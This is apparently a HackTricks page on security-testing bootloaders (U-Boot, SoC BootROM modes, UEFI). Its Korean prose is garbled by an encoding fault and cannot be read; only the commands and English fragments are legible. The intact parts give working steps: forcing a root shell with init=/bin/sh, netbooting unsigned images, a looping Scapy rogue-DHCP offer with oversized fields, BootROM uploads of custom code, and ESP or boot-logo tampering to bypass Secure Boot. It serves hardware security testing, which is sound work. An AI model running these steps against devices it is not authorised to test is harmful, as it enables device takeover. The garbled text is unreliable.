๋ถํธ๋ก๋ ํ ์คํธ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ค์ ๋จ๊ณ๋ค์ U-Boot, UEFI-class loader ๊ฐ์ ๋ถํธ๋ก๋๋ฅผ ํ ์คํธํ๊ณ ์ฅ์น์ ์์ ๊ตฌ์ฑ์ ์์ ํ ๋ ๊ถ์ฅ๋ฉ๋๋ค. ์ด๊ธฐ ์ฝ๋ ์คํ ํ๋ณด, ์๋ช /๋กค๋ฐฑ ๋ณดํธ ํ๊ฐ, ๋ณต๊ตฌ ๋๋ ๋คํธ์ํฌ ๋ถํ ๊ฒฝ๋ก ์ ์ฉ์ ์ค์ ์ ๋์ธ์.
Related: MediaTek secure-boot bypass via bl2_ext patching:
Android Mediatek Secure Boot Bl2 Ext Bypass El3
U-Boot ๋น ๋ฅธ ๋ฐฉ๋ฒ ๋ฐ ํ๊ฒฝ ๋จ์ฉ
- ์ธํฐํ๋ฆฌํฐ ์ ธ์ ์ ๊ทผ
- ๋ถํ
์ค
bootcmd๊ฐ ์คํ๋๊ธฐ ์ ์ (๋๊ฐ ์๋ฌด ํค, 0, ์คํ์ด์ค ๋๋ ๋ณด๋๋ณ โ๋งค์งโ ์ํ์ค) ์๋ ค์ง ์ค๋จ ํค๋ฅผ ๋๋ฌ U-Boot ํ๋กฌํํธ๋ก ์ง์ ํฉ๋๋ค.
- ๋ถํธ ์ํ ๋ฐ ๋ณ์ ํ์ธ
- ์ ์ฉํ ๋ช ๋ น:
printenv(ํ๊ฒฝ ๋คํ)bdinfo(๋ณด๋ ์ ๋ณด, ๋ฉ๋ชจ๋ฆฌ ์ฃผ์)help bootm; help booti; help bootz(์ง์๋๋ ์ปค๋ ๋ถํ ๋ฐฉ๋ฒ)help ext4load; help fatload; help tftpboot(์ฌ์ฉ ๊ฐ๋ฅํ ๋ก๋)
- ๋ฃจํธ ์ ธ์ ์ป๊ธฐ ์ํ ๋ถํธ ์ธ์ ์์
- ์ปค๋์ด ์ ์ init ๋์ ์
ธ๋ก ๋น ์ง๊ฒ
init=/bin/sh๋ฅผ ์ถ๊ฐ:
# printenv
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
# saveenv
# boot # or: run bootcmd
- TFTP ์๋ฒ์์ Netboot
- ๋คํธ์ํฌ๋ฅผ ๊ตฌ์ฑํ๊ณ LAN์์ ์ปค๋/fit ์ด๋ฏธ์ง๋ฅผ ๊ฐ์ ธ์ต๋๋ค:
# setenv ipaddr 192.168.2.2 # device IP
# setenv serverip 192.168.2.1 # TFTP server IP
# saveenv; reset
# ping ${serverip}
# tftpboot ${loadaddr} zImage # kernel
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
# setenv bootargs "${bootargs} init=/bin/sh"
# booti ${loadaddr} - ${fdt_addr_r}
- ํ๊ฒฝ์ ํตํด ๋ณ๊ฒฝ์ฌํญ ์ง์ํ
- env ์ ์ฅ์๊ฐ ์ฐ๊ธฐ ๋ณดํธ๋์ด ์์ง ์๋ค๋ฉด ์ ์ด๋ฅผ ์ง์์ํฌ ์ ์์ต๋๋ค:
# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
# saveenv
bootcount,bootlimit,altbootcmd,boot_targets๊ฐ์ ๋ณ์๋ค์ด ํด๋ฐฑ ๊ฒฝ๋ก์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ์๋ชป๋ ๊ฐ์ ์ ธ๋ก ๋ฐ๋ณต ์ง์ ์ ํ์ฉํ ์ ์์ต๋๋ค.
- ๋๋ฒ๊ทธ/์์ ํ์ง ์์ ๊ธฐ๋ฅ ํ์ธ
- ํ์ธํ ํญ๋ชฉ:
bootdelay> 0,autoboot๋นํ์ฑํ, ์ ํ ์๋usb start; fatload usb 0:1 ..., ์ง๋ ฌ์ ํตํloady/loads๊ฐ๋ฅ์ฑ, ์ ๋ขฐ๋์ง ์์ ๋งค์ฒด๋ก๋ถํฐ์env import, ์๋ช ๊ฒ์ฌ ์์ด ๋ก๋๋๋ ์ปค๋/ramdisk ๋ฑ.
- U-Boot ์ด๋ฏธ์ง/๊ฒ์ฆ ํ ์คํธ
- ํ๋ซํผ์ด FIT ์ด๋ฏธ์ง๋ก secure/verified boot๋ฅผ ์ฃผ์ฅํ๋ค๋ฉด unsigned ๋๋ ๋ณ์กฐ๋ ์ด๋ฏธ์ง๋ฅผ ์๋ํด ๋ณด์ธ์:
# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr} # should FAIL if FIT sig enforced
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr} # should only boot if key trusted
CONFIG_FIT_SIGNATURE/CONFIG_(SPL_)FIT_SIGNATURE๊ฐ ์๊ฑฐ๋ ๋ ๊ฑฐ์verify=n๋์์ด ์์ผ๋ฉด ์์ ํ์ด๋ก๋ ๋ถํ ์ด ๊ฐ๋ฅํ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
Network-boot ํ๋ฉด(DHCP/PXE) ๋ฐ ์ ์ฑ ์๋ฒ
- PXE/DHCP ํ๋ผ๋ฏธํฐ ํผ์ง
- U-Boot์ ๋ ๊ฑฐ์ BOOTP/DHCP ์ฒ๋ฆฌ๋ ๋ฉ๋ชจ๋ฆฌ ์์ ์ฑ ๋ฌธ์ ๊ฐ ์์์ต๋๋ค. ์๋ฅผ ๋ค์ด CVEโ2024โ42040์ ์กฐ์๋ DHCP ์๋ต์ ํตํด U-Boot ๋ฉ๋ชจ๋ฆฌ์์ ๋ฐ์ดํธ๋ฅผ ๋คํธ์ํฌ๋ก leakํ ์ ์๋ ๋ฉ๋ชจ๋ฆฌ ์ ์ถ์ ์ค๋ช ํฉ๋๋ค. DHCP/PXE ์ฝ๋ ๊ฒฝ๋ก๋ฅผ ๊ณผ๋ํ๊ฒ ๊ธด/์ฃ์ง ์ผ์ด์ค ๊ฐ๋ค(์ต์ 67 bootfile-name, vendor options, file/servername ํ๋)๋ก ํ ์คํธํ์ฌ ์ ์ง๋ leak ํ์์ ๊ด์ฐฐํ์ธ์.
- netboot ์ค ๋ถํธ ํ๋ผ๋ฏธํฐ๋ฅผ ์คํธ๋ ์คํ๊ธฐ ์ํ ์ต์ Scapy ์ค๋ํซ:
from scapy.all import *
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src='192.168.2.1', dst='255.255.255.255')/
UDP(sport=67, dport=68)/
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
DHCP(options=[('message-type','offer'),
('server_id','192.168.2.1'),
# Intentionally oversized and strange values
('bootfile_name','A'*300),
('vendor_class_id','B'*240),
'end']))
sendp(offer, iface='eth0', loop=1, inter=0.2)
- ๋ํ PXE ํ์ผ๋ช ํ๋๊ฐ OS ์ธก ํ๋ก๋น์ ๋ ์คํฌ๋ฆฝํธ๋ก ์ฐ๊ฒฐ๋ ๋ ์ ธ/๋ก๋ ๋ก์ง์ ์ ์ ์์ด ์ ๋ฌ๋๋์ง๋ ๊ฒ์ฆํ์ธ์.
- ์ ์ฑ DHCP ์๋ฒ๋ฅผ ํตํ ๋ช ๋ น ์ฃผ์ ํ ์คํธ
- Rogue DHCP/PXE ์๋น์ค๋ฅผ ๊ตฌ์ฑํ๊ณ ํ์ผ๋ช
๋๋ ์ต์
ํ๋์ ๋ฌธ์๋ฅผ ์ฃผ์
ํด ๋ถํธ ์ฒด์ธ ํ๋ฐ์ ๋ช
๋ น ์ธํฐํ๋ฆฌํฐ์ ๋๋ฌํ ์ ์๋์ง ์๋ํ์ธ์. Metasploit์ DHCP auxiliary,
dnsmasq, ๋๋ ์ปค์คํ Scapy ์คํฌ๋ฆฝํธ๊ฐ ์ ์ฉํฉ๋๋ค. ๋จผ์ ์คํ์ค ๋คํธ์ํฌ๋ฅผ ๋ถ๋ฆฌํ์ธ์.
์ ์ ๋ถํธ๋ฅผ ๋ฌด์ํ๋ SoC ROM ๋ณต๊ตฌ ๋ชจ๋
๋ง์ SoC๋ BootROM โloaderโ ๋ชจ๋๋ฅผ ๋ ธ์ถํ์ฌ flash ์ด๋ฏธ์ง๊ฐ ์ ํจํ์ง ์์๋ USB/UART๋ฅผ ํตํด ์ฝ๋๋ฅผ ์์ ํฉ๋๋ค. secure-boot fuses๊ฐ ํ์์ง์ง ์์๋ค๋ฉด, ์ด๋ ์ฒด์ธ ์ด๊ธฐ์ ์์ ์ฝ๋ ์คํ์ ์ ๊ณตํ ์ ์์ต๋๋ค.
- NXP i.MX (Serial Download Mode)
- Tools:
uuu(mfgtools3) orimx-usb-loader. - Example:
imx-usb-loader u-boot.imxto push and run a custom U-Boot from RAM. - Allwinner (FEL)
- Tool:
sunxi-fel. - Example:
sunxi-fel -v uboot u-boot-sunxi-with-spl.binorsunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000. - Rockchip (MaskROM)
- Tool:
rkdeveloptool. - Example:
rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.binto stage a loader and upload a custom U-Boot.
์ฅ์น์ secure-boot eFuses/OTP๊ฐ ํ์์ ธ ์๋์ง ํ๊ฐํ์ธ์. ๊ทธ๋ ์ง ์๋ค๋ฉด BootROM ๋ค์ด๋ก๋ ๋ชจ๋๋ ์์ ๋ ๋ฒจ์ ๊ฒ์ฆ(U-Boot, kernel, rootfs)์ ์ฐํํ๊ณ ์ฒซ ๋ฒ์งธ ์คํ ์ด์ง ํ์ด๋ก๋๋ฅผ SRAM/DRAM์์ ์ง์ ์คํํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
UEFI/PC-class ๋ถํธ๋ก๋: ๋น ๋ฅธ ๊ฒ์ฌ
- ESP ๋ณ์กฐ ๋ฐ ๋กค๋ฐฑ ํ ์คํธ
- EFI System Partition(ESP)์ ๋ง์ดํธํ๊ณ ๋ก๋ ๊ตฌ์ฑ์์๋ฅผ ํ์ธํ์ธ์:
EFI/Microsoft/Boot/bootmgfw.efi,EFI/BOOT/BOOTX64.efi,EFI/ubuntu/shimx64.efi,grubx64.efi, ๋ฒค๋ ๋ก๊ณ ๊ฒฝ๋ก ๋ฑ. - Secure Boot revocations(dbx)์ด ์ต์ ์ด ์๋๋ฉด ๋ค์ด๊ทธ๋ ์ด๋๋์๊ฑฐ๋ ์๋ ค์ง ์ทจ์ฝํ ์๋ช
๋ ๋ถํธ ๊ตฌ์ฑ์์๋ก ๋ถํ
์ ์๋ํด ๋ณด์ธ์. ํ๋ซํผ์ด ์ค๋๋ shims/bootmanagers๋ฅผ ์ฌ์ ํ ์ ๋ขฐํ๋ฉด ESP์์ ์์ฒด ์ปค๋์ด๋
grub.cfg๋ฅผ ๋ก๋ํด ์๊ตฌ์ฑ์ ํ๋ณดํ ์ ์์ต๋๋ค.
- ๋ถํธ ๋ก๊ณ ํ์ฑ ๋ฒ๊ทธ(LogoFAIL ํด๋์ค)
- ์ฌ๋ฌ OEM/IBV ํ์จ์ด๊ฐ ๋ถํธ ๋ก๊ณ ๋ฅผ ์ฒ๋ฆฌํ๋ DXE์ ์ด๋ฏธ์ง ํ์ฑ ๊ฒฐํจ์ ์ทจ์ฝํ์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ ESP์ ๋ฒค๋๋ณ ๊ฒฝ๋ก(์:
\EFI\<vendor>\logo\*.bmp)์ ์กฐ์๋ ์ด๋ฏธ์ง๋ฅผ ๋ฐฐ์นํ๊ณ ์ฌ๋ถํ ํ๋ฉด Secure Boot๊ฐ ํ์ฑํ๋์ด ์์ด๋ ์ด๊ธฐ ๋ถํธ ์ค ์ฝ๋ ์คํ์ด ๊ฐ๋ฅํด์ง ์ ์์ต๋๋ค. ํ๋ซํผ์ด ์ฌ์ฉ์๊ฐ ์ ๊ณตํ ๋ก๊ณ ๋ฅผ ์๋ฝํ๋์ง, ํด๋น ๊ฒฝ๋ก๊ฐ OS์์ ์ฐ๊ธฐ ๊ฐ๋ฅํ์ง ํ ์คํธํ์ธ์.
ํ๋์จ์ด ์ฃผ์์ฌํญ
์ด๊ธฐ ๋ถํธ ์ค SPI/NAND flash์ ์ํธ์์ฉ(์: ์ฝ๊ธฐ๋ฅผ ์ฐํํ๊ธฐ ์ํด ํ์ ์ ์ง)ํ ๋๋ ์ฃผ์ํ๊ณ ํญ์ ํ๋์ ๋ฐ์ดํฐ์ํธ๋ฅผ ์ฐธ์กฐํ์ธ์. ํ์ด๋ฐ์ด ๋ง์ง ์๋ ์ผํธ๋ ์ฅ์น ๋๋ ํ๋ก๊ทธ๋๋จธ๋ฅผ ์์์ํฌ ์ ์์ต๋๋ค.
๋ฉ๋ชจ ๋ฐ ์ถ๊ฐ ํ
env export -t ${loadaddr}๋ฐenv import -t ${loadaddr}๋ฅผ ์ฌ์ฉํด ํ๊ฒฝ ๋ธ๋กญ์ RAM๊ณผ ์ ์ฅ์ ์ฌ์ด์ ์ฎ๊ฒจ๋ณด์ธ์; ์ผ๋ถ ํ๋ซํผ์ ์ธ์ฆ ์์ด ์ด๋์ ๋ฏธ๋์ด์์ env๋ฅผ ๊ฐ์ ธ์ค๋๋ก ํ์ฉํฉ๋๋ค.extlinux.conf๋ก ๋ถํ ํ๋ Linux ๊ธฐ๋ฐ ์์คํ ์์ ๋ถํธ ํํฐ์ ์APPEND๋ผ์ธ(์:init=/bin/sh๋๋rd.break์ฝ์ )์ ์์ ํ๋ฉด ์๋ช ๊ฒ์ฌ๊ฐ ์์ ๋ ์ถฉ๋ถํ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.- ์ฌ์ฉ์ ๊ณต๊ฐ์
fw_printenv/fw_setenv๊ฐ ์ ๊ณต๋๋ ๊ฒฝ์ฐ/etc/fw_env.config๊ฐ ์ค์ env ์ ์ฅ์์ ์ผ์นํ๋์ง ํ์ธํ์ธ์. ์๋ชป๋ ์คํ์ ์ ์๋ชป๋ MTD ์์ญ์ ์ฝ๊ฑฐ๋ ์ธ ์ ์๊ฒ ํฉ๋๋ค.
References
- https://scriptingxss.gitbook.io/firmware-security-testing-methodology/
- https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot
- https://nvd.nist.gov/vuln/detail/CVE-2024-42040
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


